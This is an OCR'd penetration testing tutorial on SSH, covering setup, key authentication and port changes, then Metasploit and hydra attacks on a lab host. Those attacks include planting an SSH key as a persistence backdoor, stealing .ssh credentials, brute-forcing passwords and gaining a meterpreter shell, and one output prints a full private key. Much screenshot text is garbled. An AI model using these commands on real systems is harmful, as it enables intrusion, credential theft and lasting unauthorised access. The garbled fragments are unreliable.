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Introduction to SSH

The SSH protocol, also known as Secure Shell, is a technique for secure and reliable remote login from one
computer to another. It offers several options for strong authentication, as it protects the connections
and communications)\ security and integrity with strong encryption. It is a secure alternative to the non-
protected login protocols (such as telnet, rlogin) and insecure file transfer methods (such as FTP).

SSH Installation

It is very easy to install and configure the SSH service. We can directly install the SSH service by using the
openssh-server package from the Ubuntu repo. To install any service, you must have a root privilege
account and then follow the given below command.

[ apt install openssh-server ]

When you execute the above command, it will extract the package and install the default configuration
on the host machine. You can check the open port with the help of the netstat command on the host
machine.

root@ubuntu:~# apt install openssh-server

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following additional packages will be installed:

ncurses-term openssh-sftp-server ssh-import-id
Suggested packages:
molly-guard monkeysphere rssh ssh-askpass
The following NEW packages will be installed:
ncurses-term openssh-server openssh-sftp-server ssh-import-id

& upgraded, 4 newly installed, ©® to remove and 6 not upgraded.

SSH Port Scanning

If you don’t have direct access to the host machine, use nmap to remotely identify the port state that is
considered to be the initial step of the penetration test. Here we’re going to use Kali Linux to perform
penetration testing. So, to find an open port on a remote network, we'll use an nmap version scan, which
will not only find an open port but also perform a banner grab that displays the installed version of the
service.

[ nmap -sV -p22 192.168.1.103 ]
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Methods to Connect SSH

Terminal Command (Linux)

username: ignite Password: 123

[ ssh ignite@192.168.1.103 ]

2.168.1.103

1}

can be updated.
re security updates.

( ded with the Ubunt
ct distribut terms for .
dual files in fusr/sha

Putty (Windows)

Now execute the following command to access the ssh shell of the remote machine as an authorised user.

(GNU/Linux 4.15.0-72-generic x86 64)

nical.com

for installation.
/e kernel security. Activate at:

am are describec

Stepl: Install putty.exe and run it, then enter the HOST IP address <192.168.1.103> and port <22>, also

choose to connect type as SSH.

cGNITE
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R puTr “figuration 7 *
Categony:
=- Sfa-ssinn Basic options for your PUTTY session
L Logging Specify the destination you want to connect to
= Terminal
. Keyboard Host Mame (or IP address) Port
. Bel 192.168.1.103 A | [22 (::IJ
- Features Connection type: N
= Window {(JRaw () Telnet () Rlogin @ 55H () Seral
.Pnppea.rance Load, save or delete a stored session
- Behaviour
... Translation Saved Sessions
[#- Selection | |
- Colours .
Default Settings
=~ Connection —
- Data Save
- Proxy
. Telnet Delete
- Rlogin
- 55H
- Sefial Close window on exit:
() Mwayz () MNewver (@ Only on clean exit
About Help Cpen Cancel

Step2: To establish a connection between the client and the server, a putty session will be generated that
requires a login credential.

Username: ignite
Password: 123

cGNITE
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Port Redirection

By default, ssh listens on port 22, which means if the attacker identifies port 22 as open, then he can try
attacks on port 22 in order to connect with the host machine. Therefore, a system admin chooses port
redirection or port mapping by changing its default port to another in order to receive the connection
request from the authorised network.

Follow the below steps for port redirection:

Step1: Edit the sshd_config from inside the /etc/sshd using the editor

[ nano /etc/ssh/sshd_config ]

cGNITE
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Step2: Change port 22 into 2222 and save the file.
Step3: Then restart ssh

Port 2222

Port Redirection Testing

Thus, when we have run the scan on port 22, it has shown the port state as CLOSE for SSH, whereas port
2222 is OPEN for SSH, which can be seen in the given image.

cGNITE
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SERVICE VERSION

A0:0C:29:E3:D3:A5

0K
] at 2019-
scan lite y.vulnerable (192.
is up (0.00042s latency).

STATE SERVICE VE
) ssh ik 7.6p (Ubuntu Linux; pro
20:0C:29:E3:
05: Linux; CPE:

Establish SSH connection using RSA key

Strong passwords don’t seem to be decent to secure the server because a brute force attack can crack
them. That’s why you need an additional security method to secure the SSH server.

Another necessary feature to authenticate clients to the server is SSH key pairs. It consists of a long
string of characters: a public and a private key. You can place the public key on the server and the
private key on the client machine and unlock the server by connecting the private key of the client
machine. Once the keys match up, the system permits you to automatically establish an SSH session
without the need to type in a password.

Ssh-keygen is a tool for creating new authentication key pairs for SSH. Such key pairs are used for
automating logins, single sign-on, and for authenticating hosts.

Thus, we will follow the steps for generating a key pair for authenticated connection.

Stepl: Run the given command to generate an ssh key pair (id_rsa and id_rsa.pub) on the host machine
Ubuntu.

[ ssh-keygen ]
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ignite@ubuntu:~5 ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/home/ignite/.sshfid_rsa):
Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /homefignite/.sshfid rsa.
Your public key has been saved in /home/ignite/.ssh/id rsa.pub.
The key fingerprint is:

SHA256: jzk17S0aW8WWZsYTF9I8EVCQcC4MvuH2mBB+3bTUX/Bnd4 ignite@ubuntu
The key's randomart image is:

+---[RSA 20848]----+

|
| e

| 0|

| .0 . . o0.]

| =5.+ 0 + O]

| .*0B+= 0 oo0|

| «..0=0.. 0.E]|

| .=0.0.. 00 |

| 00.0.0..
+----[SHA256]
ignite@ubuntu:~$% cd .ssh
ignite@ubuntu:~/.sshs 1s
id rsa 1id rsa.pub
ignite@ubuntu:~/.ssh% I

Step2: Same should be done on the client machine which is authorized to establish the connection with
the host machine (ubuntu).

Step3: Once the ssh key pair (id_rsa and id_rsa.pub) get generated then rename the id_rsa.pub into
authorized_keys as show in the given image.

ssh-keygen

cd .ssh

Is

cat id_rsa.pub > authorized_keys
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Generating L1ic,
Enter file in which
jirectﬂry Y

y has been

yrint is:

cat id rsa.p
: # cat authori 5
ssh-rsa AAAAB3Nza ADA 37552 YjEgL/V7Jpbfjal6l8c
2JWAQED70NL] £ 9 ] I5||Lﬂ OM+5sFRThTy
EajhHmsgihfC4wlcOLRZAQ9b7+1511iz/ qFD%SPS*H%:aeJ+mI" 9JTo53rP351h9b

Step4: Share the authorized_keys with the host machine by copying it into the .ssh directory.

ignite@ubuntu:~/.sshS 1s
authorized keys 'id rsa 1id_rsa.pub
ignite@ubuntu:~/.ssh%

Step5: Edit the sshd_config from inside the /etc/sshd using the editor

[ nano /etc/ssh/sshd_config ]

cGNITE
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Step 6: Check the "passwordauthentication no" box.

As a result, only the authorised machine which rsa key can establish a connection with the host machine
without using a password.

PasswordAuthentication no

If you try to connect to the ssh server using your password and username, the server will reject your
request because it will authenticate the request that has an authorised key.
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Mo supported authentication methods available [server sent:
publickey)

Step7: Copy the id_rsa key from Kali Linux to the windows machine, to established connection using
authorized keys on the windows machine,

Step8: Install puttygen.exe

Step 9: Run puttygen.exe and load the id_rsa file, then "save as key" it as "Key."
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Bf PuTTY Koy Generotor

File Key Conversicns Help

Key

el

Public key for pasting into Open55H authorzed_keys file:

ssh1sa

AMAAB3NzaC Tyc 2EAAAADAQABAAABGDDZE7552DnSXMY|EgL/V7pbfia1618cTn
ywOTInGviChyeQleKgl4Bb TaOKFdKP 1505 TT15ENOmObQzqupLiy55h Y 7Vidup WTQEr
GMeZEyXTGiwy)MvoOxWp35qTLUXhkPx Y XEyMYB16XL

+(pGw YOCqru4aJNiUZDMEHJAGhC'Y 2JWA4QED TOnLIXLg/gBkn XBJ Tt

~

Key fingerprint : |ssh-rsa 3072 62:25:18:51 f8:20:60:9d:49:e4:af- 75:39:27-.dbab

Key comment: |mut 2k ali

Key passphrase: |

Corfirm passphrase: |

Actions
Generate a public/private key pair
Load an existing private key file

Save the generated key

Parameters

Type of key to generate:
(® RSA (I DSA

Mumber of bits in a generated key:

Generate

" 1 Load

Save public key Saie private key

() ECDSA (O Ed25519 () 55H-1(RSA)

Step10: Use putty.exe to connect with the host machine by entering the hostname 192.168.1.103 and

port 22.

cGNITE
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ﬁ PuTTY Configuration

Category:

=~ Terminal

- Keyboard
- Bell

- Features
=~ Window

- Appearance
- Behaviour
- Translation
[+~ Selection
- Colours

=~ Connection

- Data

- Proy

- Telnet

- Rlogin

- 55H

- Seral

About Help

Basic options for your PuTTY session

Specify the destination you want to connect to

address)
152.168.1.103

Port

lzd |

Connection type:

(JRaw () Telnet () Rlogin

Load, save or delete a stored session

Saved Sessions

® 55H | () Seral

Default Settings

Load

Save

Delete

Close window on exit:

() Mways () Never

(®) Only on clean exit

Cancel

Step11: Navigate to SSH >auth and browse the key private key that you have saved as mention in step 9.

cGNITE
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‘... Features
= Window

- Appearance
- Behaviour
- Translation

[+~ Selection

- Colours

EI Connection

- Data

- Proy
- Telnet
- Rlogin

2 55H

e K

- Host keys
- Cipher

[t Auth

e ¥11

- Tunnels

- Bugs

- Mare bugs

[

W

Options controling S5H authentication

Digplay pre-authentication banner (55H-2 anly)
[ ] Bypass authentication entirely (S5H-2 only)

Authentication methods

Attempt authentication using Pageant

[ ] Attempt TI5 or CryptoCard auth (S5H-1)
Attempt "keyboard-rteractive” auth (SSH-2)

Authentication parameters
[] Allow agent forwarding

[] Allow attempted changes of usemame in S5H-2
Private key file for authentication:

CxUsers'rajtDesktopkey ppk Browse...

About

Help

Open Cancel

This will establish an ssh connection between the Windows client and the server without using a
password.
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Exploit SSH with Metasploit

SSH Key Persistence- Post Exploitation
Consider a situation whereby by compromising the host machine you have obtained a meterpreter session
and want to leave a permanent backdoor that will provide a reverse connection for next time.

When port 22 on the host machine is open, the Metasploit module "SSH Key Persistence-a Post Exploit"
can be used to accomplish this.

This module will add an SSH key to a specified user (or all users), allowing remote SSH access to the victim
at any time.

use post/linux/manage/sshkey_persistence
set session 1
exploit

As can be seen in the image given, it added authorised keys to /home / ignite/.ssh and stored a private
key within /root/.msf4/loot

tGNITE Page 16 of 25
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efault 192.168.1.1083 id rsa

We ensure this by connecting to the host machine via port 22 using the private key generated above.
Here, | renamed the private "key" and granted permission to 600 people.

chmod 600 key
ssh -i key ignite@192.168.1.103

31160122 d
. 2.168.1.103 id

Ubuntu 18

tation: https

Dec 23 07 37 2019 from 192.168.1.109

s 1l

Bravo!! It works without any congestion, and in this way, we can use the SSH key as a persistence
backdoor.

cGNITE
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Stealing the SSH key

Consider the following scenario: you have obtained a meterpreter session by compromising the host
machine, port 22 is open for SSH, and you want to steal the SSH public key and authorised key.This is
possible with the help of the Metasploit module "Multi Gather OpenSSH PKI Credentials Collection-a Post
Exploit," which is discussed further below.

This module will collect the contents of all users .ssh directories on the targeted machine. Additionally,
known_hosts, authorized_keys, and any other files are also downloaded. This module is largely based on
firefox_creds.rb.

use post/multi/gather/ssh_creds
set session 1
exploit

From the given below image, you can see we have all our authorised keys stored in the /home/ignite/.ssh
directory on our local machine at /root/.msf4/loot and we now use those keys for login into an SSH server.

This can be done manually by downloading keys directly from inside /home/ignite/.ssh as shown in the
below image.
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i
—h
Ln

n
—h
Ln

I
Wi M

=k LI
LA owa

St ) s
starting interaction with 1...

- = cd /home/ignite/.ss

= s

Last modified Name

2019-12-: :01:22 -0500 authorized keys
2019-12- 09 :59 -0508 1d rsa
2019-12-: 8 -0500 id rsa.pub

g: ic .
d 1.64 KiB of 1
: id rsa -= /

We ensure this by connecting the host machine via port 22 using the private key downloaded above. Let’s
change the permission for the rsa key, and to do this, follow the steps given below.

chmod 600 id_rsa
ssh -1 id_rsa ignite@192.168.1.103

It works without any congestion, and in this way, we can use ssh key as a persistence backdoor.
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chmod 600 id rsa
ssh -i id rsa ignite@l92.168.1.103
buntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86 64)

#
u

Welcome to

ical.com

ation.
ecurity. Activate at:

Last login: Mon Dec 23 08:03:39 2019 from 192.168.1.107

5 1

SSH login using pubkey

Considering you have the id_rsa key of the host machine and want to obtain a meterpreter session via
Metasploit, this can be achieved with the help of the following module.

This module will test ssh logins on a range of machines using a defined private key file and report
successful logins. If you have loaded a database plugin and connected to a database, this module will
record successful logins and hosts so you can track your access. A key file may be a single private key or
several private keys in a single directory.

\

use auxiliary/scanner/ssh /ssh_login_pubkey
set rhosts 192.168.1.103

set username ignite

set key_path /root/.ssh/id_rsa

exploit

- )

cGNITE
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msf5 = use auxiliary/scanner/ssh/ssh login pubkey

msf5 auxiliary( ) = set rhosts 192.168.1.163
rhosts == 192.168.1.163

msf5 auxiliary( ) = set username ignite

username == ignite

msf5 auxiliary( ) = set key path /root/.ssh/id rsa
key path == /root/.ssh/id rsa

msf5 auxiliary( ) = exploit

192.168.1.103:22 SSH - Testing Cleartext Keys

192.168.1.103:22 - Testing 1 keys from /root/.ssh/id rsa

192.168.1.1083:22 - Success: 'ignite: BEGIN RSA PRIVATE KEY
MITG4gIBAAKCAYEAW2 TO+Utg501zGIXIC/ leyaW342tet THESSsDkyZxr70n8nkC
MSoCOAWE4Din3S]9bNEKE9eRDTpImOME rqSs5cueYWoleLgVkoAax) XmRMLla@xo8M1
TL6DsVgfeaklF4ZDBWFxM]jGAdely/kKRsGDgqsbuGiTY LNgzBByQIIQq4mNiVUEB
G+zpy5Vy4P40p] 1wsSU7TiY/DmQEqQY r+2y/TRSqQWTEbxcJeFObvZfTPubBUbYU3dY
yImgISbSCCAKKbnx/2ZhdQUIMG2eQ0ZSKUIYGYLH rCNKuhmBTXagRPwXxVJoR+Vn
nscqeTXR2FdavGTgLtoABvkaWymBWgfjXBs741DtfEYIFjSG2E7TEBYWS1Z6YY55Y
43RbXxGo4R5rIToXwuMNXD1@WQEPW+/1UtYs /4YBQ/eUeWUPX0Ont/piMsIPCZ/SU
60d6z90tY WS/ fPFLt+VNKiD2bTOR7XCIJjfjjjN3fTheYqudHTogltjowWwhcEKudY
Ubu2gobpgxQmTsBTAgMBAAECgYGAaSIEILZcVbbbg5IGP4N14PA3SRXOgRjdWvUp
VKIXR7CXpSX@jPghTIHnpt/ImThterAPSAbxtSSFNPLl/mpDX/md80MhDZs5qFxL4
P3FfCAMTVEN/ x5+090584R5NCxNyHHQST2hviKgcTSNTkuwIS7AmjHgYWrwnve731
0dDggsxPYKBxKdxcOFS/bxitGvYIOHISIINIDCLWIIKFoPXfGYbY1ZSp7hiAox1C
EXEZP+hmQlyZftsJCOMBSLNi3iIMHT5wW]5mV /uflLNUSUH11iJ5HNKSfqq9Xgy+B9
E6W4TLIDSpEmdGIti4BPdhhPLSXBWAA4LDKR+DY18PMdCTbjOkmNztuY0Z7QV48hb
1jkRmMOQZPPjsKvpYVHGZMiOB+7EhTUWOF+UD6X ] zUCc+WQ27De/sHMOnBozba2yI0]
MRgNSo0+x1zsMumGr89vugPlqT72nErQJIVA7AeB4dXs5dq9llrIvieceaCyMoCky
bQLKGM/OUc/DOMvrb3JtLpCuaBLxA0HBADZZVTEKQUARWE L xGdet1HOELUFT2wme
E9lLetPwr+7SwitTUUMR27RN7kqCINQcG71nmr8nAQZ77dpDHYTYVWIBFvv9qolzU
rpDg2dhZWoohlkwWKygw3ningT8FX6fpvBriq2luPoqy6wP2xIJxZqQkdEhCSFeyv
UeiT3TAWrtaCwlPVbFWtztwuXQalF3GRIMFCLZCNXC1C+qW+Z1loogZ82psdelLMN/
tUFseBrLeu52GDBIVErFo7aTOn++5Se6NzwkKBwQDZEAGLEXtrQl5/xtM4IQEvas5Fr
U+I02a70qJpRDSLORPaCVoGTKSNtbzz5D1x5X3eCumhyMzIxycgcdzwPWsYWSFSA
6PMd6al0GausS5bcNS1TICKVFrnX4LxDXEOMECe01VKWXQ023SVQNEXECZs046KkGY
16W153jGY2hggqFRECEqbs+uTTfflKgNr6I0wU+1rDc/NgAPDRBUGNUaOYZ8IbYm]
JST/MVhAagEQLtz7tiXgtnlZNu8SBRAeGoU9dK ] 0Cgb8WgSz5P02K1DFKesSELTUSW
JAGXXSKEV2UYzZMYX7EQCALIMDWLgid3qvbGH1S2TiR8sX/GBURIg] 7mqlLuNvULEVzZ
CtycFM2agyql+28GsbMlyhbzvzbTteYD4le8z8mHNEvCUe9rwFhbMx3ARYj rZCeh
3+17I00rgvN8wvPWymBUKNCAY 1bVBYQsXFQ552X+5531sZDCL4vQ37madf2I0GvY
IH40+g11Dh01T/J1qq3RV1TKHhJe0tb5HFhpoXyzZHWKBWOCgMWEDXGx ImXWTHKBS
FxUJ1tul1lm@n8oXPEy9XMleFilCUnZypReXURCX+LKAIHNEHM+QSqz /GABC/UNTB
Ah7y09HdGQOZ,/SyIdj INfmOaswWgqaCDsZ1z2+An13B0AVKYANN31H7ZDbRauQlqo
g2HvDFDrKcQLwHBS505gK6Tx902amdwkj Qvz3zQgbXwuYXEexIo9B2YV1XFBCY7Qk
UOK/ZWwXb+ T fW4A03pHSNSCkIjhjitxZH4TIEvU5e57q3KYOCgCcA9GLK/47DKrPeu
p7JeWbPeVEuuC8ELJkvmP/JKuhf+Dp+bDvovUktMbbyKRFXITw/PdmR4qwcrsdhQ
EhNs fACUupBxFh+MUKfzszgW+L+0dFzkaZhtylLxa9gROHI32SMyPCFHxrnGysC4W
Ilcosyvp8pgXmmYCzRED1Ey6vHy rcwHOTj f6Hz 1KyXBo0z105ja0bo8YakeoqABxb
6L2t1ZRISMj+ApFHpCmLY308ZzXZNveuyb5pZNake/iNeXeeZoEg=

END RSA PRIVATE KEY

['] Mo active DB -- Credepntial data will not be saved!
Command shell session 1 opened| (192.168.1.107:37099 -= 192.168.1.183:22) at
Scanned 1 of 1 hosts (100% complete)
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This will give a command session which can be further updated into the meterpreter session by executing
the following command.

[ sessions -u 1 ]

Jsmulti/manag

be compatible with this module.
n ID: 1

t/multi/hand

-> 192.168.1.103:57782)

Starting interaction with 2...

SSH Password cracking

We can test a brute force attack on SSH to guess the password or test threshold policy while performing
penetration testing on SSH. It requires a dictionary for username list and password list. Here we have a
username dictionary named "user.txt" and a password list named "pass.txt" to perform the brute force
attack with the help of hydra.

[ hydra -L user.txt -P pass.txt 192.168.1.103 ssh ]

at 2019-12-23

As a result, you can observe that the host machine has no defence against brute force attack, and we were
able to obtain ssh credential.
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To protect your service against brute force attacks, you can use fail2ban, which is an IPS. Read more
here to setup fail2ban IPS on the network.

If you observe the given below image, you will see that this time the connection request is dropped by
the host machine when we try to launch a brute force attack.

[ hydra -L user.txt -P pass.txt 192.168.1.103 ssh ]

Connection refused

SSH Public Key Login Scanner

This module will test SSH logins on a range of machines using a defined private key file and report
successful logins. If you have loaded a database plugin and connected to a database, this module will
record successful logins and hosts so you can track your access. A key file may be a single private key or
several private keys in a single directory. However, only a single passphrase is supported, so it must either
be shared between subject keys or belong to only a single one.

\

use auxiliary/scanner/ssh/ssh_identify_pubkeys
set rhosts 192.168.1.103

set user_file /root/user.txt

set key_path /root/.ssh/id_rsa.pub

exploit

J

As a result, you can see that user "ignite" is authorised to connect to the host machine's SSHD via the
public.
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sh/ssh _identify

ignite' with key '6
T Key L - Kat

5 not accept key 1 -

.1.
.1.
1.
1.
.1.
1.
1.
.1.
1.
1.
.1.
1.

SSH User Code Execution

This module connects to the target system and executes the necessary commands to run the specified
payload via SSH. If a native payload is specified, an appropriate stager will be used. As a result, we provided
the host IP as well as the username and password, and if everything goes as planned, we will receive a
meterpreter session on our listening machine.

4 )

use exploit/multi/ssh/sshexec
set rhosts 192.168.1.103

set username ignite

set password 123

set srvhost 192.168.1.107

\exploit /

As a result, you can observe that we have a meterpreter session on the host machine.
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rhosts 192.168.1.1683

t ) s =t
192.168.1.103
it ) = set username ignite

ignite
T
> 123
it
192.168.1.1@7
it

123

8.1.107:4444

PO bytes)
1.1
.1.107:4444 -> 192.168.1.103:35006) a
return
0@ bytes)

Conclusion:
In this post, we try to discuss the possible ways to secure SSH and perform penetration testing against

such a scenario.
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